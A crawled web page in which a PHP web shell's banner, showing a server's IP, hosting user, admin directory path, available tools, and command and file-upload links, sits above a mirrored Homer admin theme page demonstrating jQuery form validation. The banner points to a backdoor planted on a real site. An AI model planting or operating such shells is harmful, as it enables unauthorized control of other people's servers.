|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/eventsbyshubhchintak/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Page title -->
<title>HOMER | WebApp admin theme</title>
<!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
<!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
<!-- Vendor styles -->
<link rel="stylesheet" href="vendor/fontawesome/css/font-awesome.css" />
<link rel="stylesheet" href="vendor/metisMenu/dist/metisMenu.css" />
<link rel="stylesheet" href="vendor/animate.css/animate.css" />
<link rel="stylesheet" href="vendor/bootstrap/dist/css/bootstrap.css" />
<link rel="stylesheet" href="vendor/sweetalert/lib/sweet-alert.css" />
<!-- App styles -->
<link rel="stylesheet" href="fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css" />
<link rel="stylesheet" href="fonts/pe-icon-7-stroke/css/helper.css" />
<link rel="stylesheet" href="styles/style.css">
</head>
<body class="light-skin fixed-navbar sidebar-scroll">
<!-- Simple splash screen-->
<div class="splash"> <div class="color-line"></div><div class="splash-title"><h1>Homer - Responsive Admin Theme</h1><p>Special Admin Theme for small and medium webapp with very clean and aesthetic style and feel. </p><div class="spinner"> <div class="rect1"></div> <div class="rect2"></div> <div class="rect3"></div> <div class="rect4"></div> <div class="rect5"></div> </div> </div> </div>
<!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
<!-- Header -->
<div id="header">
<div class="color-line">
</div>
<div id="logo" class="light-version">
<span>
Homer Theme
</span>
</div>
<nav role="navigation">
<div class="header-link hide-menu"><i class="fa fa-bars"></i></div>
<div class="small-logo">
<span class="text-primary">HOMER APP</span>
</div>
<form role="search" class="navbar-form-custom" method="post" action="#">
<div class="form-group">
<input type="text" placeholder="Search something special" class="form-control" name="search">
</div>
</form>
<div class="mobile-menu">
<button type="button" class="navbar-toggle mobile-menu-toggle" data-toggle="collapse" data-target="#mobile-collapse">
<i class="fa fa-chevron-down"></i>
</button>
<div class="collapse mobile-navbar" id="mobile-collapse">
<ul class="nav navbar-nav">
<li>
<a class="" href="login.html">Login</a>
</li>
<li>
<a class="" href="login.html">Logout</a>
</li>
<li>
<a class="" href="profile.html">Profile</a>
</li>
</ul>
</div>
</div>
<div class="navbar-right">
<ul class="nav navbar-nav no-borders">
<li class="dropdown">
<a class="dropdown-toggle" href="#" data-toggle="dropdown">
<i class="pe-7s-speaker"></i>
</a>
<ul class="dropdown-menu hdropdown notification animated flipInX">
<li>
<a>
<span class="label label-success">NEW</span> It is a long established.
</a>
</li>
<li>
<a>
<span class="label label-warning">WAR</span> There are many variations.
</a>
</li>
<li>
<a>
<span class="label label-danger">ERR</span> Contrary to popular belief.
</a>
</li>
<li class="summary"><a href="#">See all notifications</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#" data-toggle="dropdown">
<i class="pe-7s-keypad"></i>
</a>
<div class="dropdown-menu hdropdown bigmenu animated flipInX">
<table>
<tbody>
<tr>
<td>
<a href="projects.html">
<i class="pe pe-7s-portfolio text-info"></i>
<h5>Projects</h5>
</a>
</td>
<td>
<a href="mailbox.html">
<i class="pe pe-7s-mail text-warning"></i>
<h5>Email</h5>
</a>
</td>
<td>
<a href="contacts.html">
<i class="pe pe-7s-users text-success"></i>
<h5>Contacts</h5>
</a>
</td>
</tr>
<tr>
<td>
<a href="forum.html">
<i class="pe pe-7s-comment text-info"></i>
<h5>Forum</h5>
</a>
</td>
<td>
<a href="analytics.html">
<i class="pe pe-7s-graph1 text-danger"></i>
<h5>Analytics</h5>
</a>
</td>
<td>
<a href="file_manager.html">
<i class="pe pe-7s-box1 text-success"></i>
<h5>Files</h5>
</a>
</td>
</tr>
</tbody>
</table>
</div>
</li>
<li class="dropdown">
<a class="dropdown-toggle label-menu-corner" href="#" data-toggle="dropdown">
<i class="pe-7s-mail"></i>
<span class="label label-success">4</span>
</a>
<ul class="dropdown-menu hdropdown animated flipInX">
<div class="title">
You have 4 new messages
</div>
<li>
<a>
It is a long established.
</a>
</li>
<li>
<a>
There are many variations.
</a>
</li>
<li>
<a>
Lorem Ipsum is simply dummy.
</a>
</li>
<li>
<a>
Contrary to popular belief.
</a>
</li>
<li class="summary"><a href="#">See All Messages</a></li>
</ul>
</li>
<li>
<a href="#" id="sidebar" class="right-sidebar-toggle">
<i class="pe-7s-upload pe-7s-news-paper"></i>
</a>
</li>
<li class="dropdown">
<a href="login.html">
<i class="pe-7s-upload pe-rotate-90"></i>
</a>
</li>
</ul>
</div>
</nav>
</div>
<!-- Navigation -->
<aside id="menu">
<div id="navigation">
<div class="profile-picture">
<a href="index-2.html">
<img src="images/profile.jpg" class="img-circle m-b" alt="logo">
</a>
<div class="stats-label text-color">
<span class="font-extra-bold font-uppercase">Robert Razer</span>
<div class="dropdown">
<a class="dropdown-toggle" href="#" data-toggle="dropdown">
<small class="text-muted">Founder of App <b class="caret"></b></small>
</a>
<ul class="dropdown-menu animated flipInX m-t-xs">
<li><a href="contacts.html">Contacts</a></li>
<li><a href="profile.html">Profile</a></li>
<li><a href="analytics.html">Analytics</a></li>
<li class="divider"></li>
<li><a href="login.html">Logout</a></li>
</ul>
</div>
<div id="sparkline1" class="small-chart m-t-sm"></div>
<div>
<h4 class="font-extra-bold m-b-xs">
$260 104,200
</h4>
<small class="text-muted">Your income from the last year in sales product X.</small>
</div>
</div>
</div>
<ul class="nav" id="side-menu">
<li>
<a href="index-2.html"> <span class="nav-label">Dashboard</span> <span class="label label-success pull-right">v.1</span> </a>
</li>
<li>
<a href="analytics.html"> <span class="nav-label">Analytics</span><span class="label label-warning pull-right">NEW</span> </a>
</li>
<li>
<a href="#"><span class="nav-label">Interface</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="panels.html">Panels design</a></li>
<li><a href="typography.html">Typography</a></li>
<li><a href="buttons.html">Colors & Buttons</a></li>
<li><a href="components.html">Components</a></li>
<li><a href="alerts.html">Alerts</a></li>
<li><a href="modals.html">Modals</a></li>
<li><a href="loading_buttons.html">Loading buttons</a></li>
<li><a href="draggable.html">Draggable panels</a></li>
<li><a href="code_editor.html">Code editor</a></li>
<li><a href="email_template.html">Email template</a></li>
<li><a href="nestable_list.html">List</a></li>
<li><a href="tour.html">Tour</a></li>
<li><a href="icons.html">Icons library</a></li>
</ul>
</li>
<li>
<a href="#"><span class="nav-label">App views</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="contacts.html">Contacts</a></li>
<li><a href="projects.html">Projects</a></li>
<li><a href="project.html">Project detail</a></li>
<li><a href="app_plans.html">App plans</a></li>
<li><a href="social_board.html">Social board</a></li>
<li><a href="faq.html">FAQ</a></li>
<li><a href="timeline.html">Timeline</a></li>
<li><a href="notes.html">Notes</a></li>
<li><a href="profile.html">Profile</a></li>
<li><a href="mailbox.html">Mailbox</a></li>
<li><a href="mailbox_compose.html">Email compose</a></li>
<li><a href="mailbox_view.html">Email view</a></li>
<li><a href="blog.html">Blog</a></li>
<li><a href="blog_details.html">Blog article</a></li>
<li><a href="forum.html">Forum</a></li>
<li><a href="forum_details.html">Forum details</a></li>
<li><a href="gallery.html">Gallery</a></li>
<li><a href="calendar.html">Calendar</a></li>
<li><a href="invoice.html">Invoice</a></li>
<li><a href="file_manager.html">File manager</a></li>
<li><a href="chat_view.html">Chat view</a></li>
<li><a href="search.html">Search view</a></li>
</ul>
</li>
<li>
<a href="#"><span class="nav-label">Charts</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="chartjs.html">ChartJs</a></li>
<li><a href="flot.html">Flot charts</a></li>
<li><a href="inline.html">Inline graphs</a></li>
<li><a href="chartist.html">Chartist</a></li>
<li><a href="c3.html">C3 Charts</a></li>
</ul>
</li>
<li>
<a href="#"><span class="nav-label">Box transitions</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="overview.html"><span class="label label-success pull-right">Start</span> Overview </a> </li>
<li><a href="transition_two.html">Columns from up</a></li>
<li><a href="transition_one.html">Columns custom</a></li>
<li><a href="transition_three.html">Panels zoom</a></li>
<li><a href="transition_four.html">Rows from down</a></li>
<li><a href="transition_five.html">Rows from right</a></li>
</ul>
</li>
<li>
<a href="#"><span class="nav-label">Common views</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="login.html">Login</a></li>
<li><a href="register.html">Register</a></li>
<li><a href="error_one.html">Error 404</a></li>
<li><a href="error_two.html">Error 505</a></li>
<li><a href="lock.html">Lock screen</a></li>
<li><a href="password_recovery.html">Passwor recovery</a></li>
</ul>
</li>
<li>
<a href="#"><span class="nav-label">Tables</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="tables_design.html">Tables design</a></li>
<li><a href="datatables.html">Data tables</a></li>
<li><a href="footable.html">Foo Table</a></li>
</ul>
</li>
<li>
<a href="widgets.html"> <span class="nav-label">Widgets</span> <span class="label label-success pull-right">Special</span></a>
</li>
<li class="active">
<a href="#"><span class="nav-label">Forms</span><span class="fa arrow"></span> </a>
<ul class="nav nav-second-level">
<li><a href="forms_elements.html">Forms elements</a></li>
<li><a href="forms_extended.html">Forms extended</a></li>
<li><a href="text_editor.html">Text editor</a></li>
<li><a href="wizard.html">Wizard</a></li>
<li class="active"><a href="validation.html">Validation</a></li>
</ul>
</li>
<li>
<a href="options.html"> <span class="nav-label">Layout options</span></a>
</li>
<li>
<a href="grid_system.html"> <span class="nav-label">Grid system</span></a>
</li>
<li>
<a href="landing_page.html"> <span class="nav-label">Landing page</span></a>
</li>
<li>
<a href="package.html"> <span class="nav-label">Package</span></a>
</li>
</ul>
</div>
</aside>
<!-- Main Wrapper -->
<div id="wrapper">
<div class="small-header">
<div class="hpanel">
<div class="panel-body">
<div id="hbreadcrumb" class="pull-right">
<ol class="hbreadcrumb breadcrumb">
<li><a href="index-2.html">Dashboard</a></li>
<li>
<span>Forms</span>
</li>
<li class="active">
<span>Validation </span>
</li>
</ol>
</div>
<h2 class="font-light m-b-xs">
Validation
</h2>
<small>Build a form with validation functionality</small>
</div>
</div>
</div>
<div class="content">
<div class="row">
<div class="col-lg-6">
<div class="hpanel">
<div class="panel-heading">
<div class="panel-tools">
<a class="showhide"><i class="fa fa-chevron-up"></i></a>
<a class="closebox"><i class="fa fa-times"></i></a>
</div>
jQuery Validation Plugin
</div>
<div class="panel-body">
<p>
The jQuery Validation Plugin provides drop-in validation for your existing forms, while making all kinds of customizations to fit your application really easy.
</p>
<form role="form" id="form">
<div class="form-group"><label>Email</label> <input type="email" placeholder="Enter email" class="form-control" required></div>
<div class="form-group"><label>Password</label> <input type="password" placeholder="Password" class="form-control" name="password"></div>
<div class="form-group"><label>Url</label> <input type="text" placeholder="Enter email" class="form-control" name="url"></div>
<div class="form-group"><label>Number</label> <input type="text" placeholder="Enter email" class="form-control" name="number"></div>
<div class="form-group"><label>MaxLength</label> <input type="text" placeholder="Enter email" class="form-control" name="max"></div>
<div>
<button class="btn btn-sm btn-primary m-t-n-xs" type="submit"><strong>Submit</strong></button>
</div>
</form>
</div>
</div>
</div>
<div class="col-lg-6">
<div class="hpanel">
<div class="panel-heading">
<div class="panel-tools">
<a class="showhide"><i class="fa fa-chevron-up"></i></a>
<a class="closebox"><i class="fa fa-times"></i></a>
</div>
Displaying Errors within Field Labels
</div>
<div class="panel-body">
<p>
With errorPlacement() function you can easily change placement for error. With message properties you can set your own text for error message.
</p>
<form role="form" id="form_2">
<div class="form-group"><label for="name">First name</label> <input type="text" id="name" name="name" placeholder="Enter your name" class="form-control" required></div>
<div class="form-group"><label for="last_name">Last name</label> <input type="text" id="last_name" placeholder="Enter your last name" class="form-control" name="last_name"></div>
<div class="form-group"><label for="url">Official website</label> <input type="text" id="url" placeholder="www.example.com" class="form-control" name="url"></div>
<div class="form-group"><label for="number">Phone number</label> <input type="text" id="number" placeholder="Phone number" class="form-control" name="number"></div>
<div class="form-group"><label for="username">Username</label> <input type="text" id="username" placeholder="Login" class="form-control" name="username"></div>
<div>
<button class="btn btn-sm btn-primary m-t-n-xs" type="submit"><strong>Submit</strong></button>
</div>
</form>
</div>
</div>
</div>
<div class="col-lg-12">
<div class="hpanel">
<div class="panel-heading">
<div class="panel-tools">
<a class="showhide"><i class="fa fa-chevron-up"></i></a>
<a class="closebox"><i class="fa fa-times"></i></a>
</div>
jQuery Validation Plugin
</div>
<div class="panel-body no-padding">
<table class="table table-striped">
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>remote</td>
<td>Requests a resource to check the element for validity.</td>
</tr>
<tr>
<td>minlength</td>
<td>Makes the element require a given minimum length.</td>
</tr>
<tr>
<td> maxlength</td>
<td>Makes the element require a given maxmimum length.</td>
</tr>
<tr>
<td> rangelength</td>
<td> Makes the element require a given value range.</td>
</tr>
<tr>
<td> min</td>
<td> Makes the element require a given minimum.</td>
</tr>
<tr>
<td> max</td>
<td> Makes the element require a given maximum.</td>
</tr>
<tr>
<td> range</td>
<td> Makes the element require a given value range.</td>
</tr>
<tr>
<td> email</td>
<td> Makes the element require a valid email</td>
</tr>
<tr>
<td> url</td>
<td> Makes the element require a valid url</td>
</tr>
<tr>
<td> date</td>
<td> Makes the element require a date.</td>
</tr>
<tr>
<td> dateISO</td>
<td> Makes the element require an ISO date.</td>
</tr>
<tr>
<td> number</td>
<td> Makes the element require a decimal number.</td>
</tr>
<tr>
<td> digits</td>
<td> Makes the element require digits only.</td>
</tr>
<tr>
<td> creditcard</td>
<td> Makes the element require a credit card number.</td>
</tr>
<tr>
<td> equalTo</td>
<td> Requires the element to be the same as another one</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<!-- Right sidebar -->
<div id="right-sidebar" class="animated fadeInRight">
<div class="p-m">
<button id="sidebar-close" class="right-sidebar-toggle sidebar-button btn btn-default m-b-md"><i class="pe pe-7s-close"></i>
</button>
<div>
<span class="font-bold no-margins"> Analytics </span>
<br>
<small> Lorem Ipsum is simply dummy text of the printing simply all dummy text.</small>
</div>
<div class="row m-t-sm m-b-sm">
<div class="col-lg-6">
<h3 class="no-margins font-extra-bold text-success">300,102</h3>
<div class="font-bold">98% <i class="fa fa-level-up text-success"></i></div>
</div>
<div class="col-lg-6">
<h3 class="no-margins font-extra-bold text-success">280,200</h3>
<div class="font-bold">98% <i class="fa fa-level-up text-success"></i></div>
</div>
</div>
<div class="progress m-t-xs full progress-small">
<div style="width: 25%" aria-valuemax="100" aria-valuemin="0" aria-valuenow="25" role="progressbar"
class=" progress-bar progress-bar-success">
<span class="sr-only">35% Complete (success)</span>
</div>
</div>
</div>
<div class="p-m bg-light border-bottom border-top">
<span class="font-bold no-margins"> Social talks </span>
<br>
<small> Lorem Ipsum is simply dummy text of the printing simply all dummy text.</small>
<div class="m-t-md">
<div class="social-talk">
<div class="media social-profile clearfix">
<a class="pull-left">
<img src="images/a1.jpg" alt="profile-picture">
</a>
<div class="media-body">
<span class="font-bold">John Novak</span>
<small class="text-muted">21.03.2015</small>
<div class="social-content small">
Injected humour, or randomised words which don't look even slightly believable.
</div>
</div>
</div>
</div>
<div class="social-talk">
<div class="media social-profile clearfix">
<a class="pull-left">
<img src="images/a3.jpg" alt="profile-picture">
</a>
<div class="media-body">
<span class="font-bold">Mark Smith</span>
<small class="text-muted">14.04.2015</small>
<div class="social-content">
Many desktop publishing packages and web page editors.
</div>
</div>
</div>
</div>
<div class="social-talk">
<div class="media social-profile clearfix">
<a class="pull-left">
<img src="images/a4.jpg" alt="profile-picture">
</a>
<div class="media-body">
<span class="font-bold">Marica Morgan</span>
<small class="text-muted">21.03.2015</small>
<div class="social-content">
There are many variations of passages of Lorem Ipsum available, but the majority have
</div>
</div>
</div>
</div>
</div>
</div>
<div class="p-m">
<span class="font-bold no-margins"> Sales in last week </span>
<div class="m-t-xs">
<div class="row">
<div class="col-xs-6">
<small>Today</small>
<h4 class="m-t-xs">$170,20 <i class="fa fa-level-up text-success"></i></h4>
</div>
<div class="col-xs-6">
<small>Last week</small>
<h4 class="m-t-xs">$580,90 <i class="fa fa-level-up text-success"></i></h4>
</div>
</div>
<div class="row">
<div class="col-xs-6">
<small>Today</small>
<h4 class="m-t-xs">$620,20 <i class="fa fa-level-up text-success"></i></h4>
</div>
<div class="col-xs-6">
<small>Last week</small>
<h4 class="m-t-xs">$140,70 <i class="fa fa-level-up text-success"></i></h4>
</div>
</div>
</div>
<small> Lorem Ipsum is simply dummy text of the printing simply all dummy text.
Many desktop publishing packages and web page editors.
</small>
</div>
</div>
<!-- Footer-->
<footer class="footer">
<span class="pull-right">
Example text
</span>
Company 2015-2020
</footer>
</div>
<!-- Vendor scripts -->
<script src="vendor/jquery/dist/jquery.min.js"></script>
<script src="vendor/jquery-ui/jquery-ui.min.js"></script>
<script src="vendor/slimScroll/jquery.slimscroll.min.js"></script>
<script src="vendor/bootstrap/dist/js/bootstrap.min.js"></script>
<script src="vendor/metisMenu/dist/metisMenu.min.js"></script>
<script src="vendor/iCheck/icheck.min.js"></script>
<script src="vendor/sparkline/index.js"></script>
<script src="vendor/jquery-validation/jquery.validate.min.js"></script>
<!-- App scripts -->
<script src="scripts/homer.js"></script>
<script>
$(function(){
$("#form").validate({
rules: {
password: {
required: true,
minlength: 3
},
url: {
required: true,
url: true
},
number: {
required: true,
number: true
},
max: {
required: true,
maxlength: 4
}
},
submitHandler: function(form) {
form.submit();
}
});
$("#form_2").validate({
rules: {
name: {
required: true,
minlength: 3
},
username: {
required: true,
minlength: 5
},
url: {
required: true,
url: true
},
number: {
required: true,
number: true
},
last_name: {
required: true,
minlength: 6
}
},
messages: {
number: {
required: "(Please enter your phone number)",
number: "(Please enter valid phone number)"
},
last_name: {
required: "This is custom message for required",
minlength: "This is custom message for min length"
}
},
submitHandler: function(form) {
form.submit();
},
errorPlacement: function(error, element) {
$( element )
.closest( "form" )
.find( "label[for='" + element.attr( "id" ) + "']" )
.append( error );
},
errorElement: "span",
});
});
</script>
</body>
<!-- Mirrored from webapplayers.com/homer_admin-v2.0/light-shadow/validation.html by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 31 Dec 2019 07:25:22 GMT -->
</html>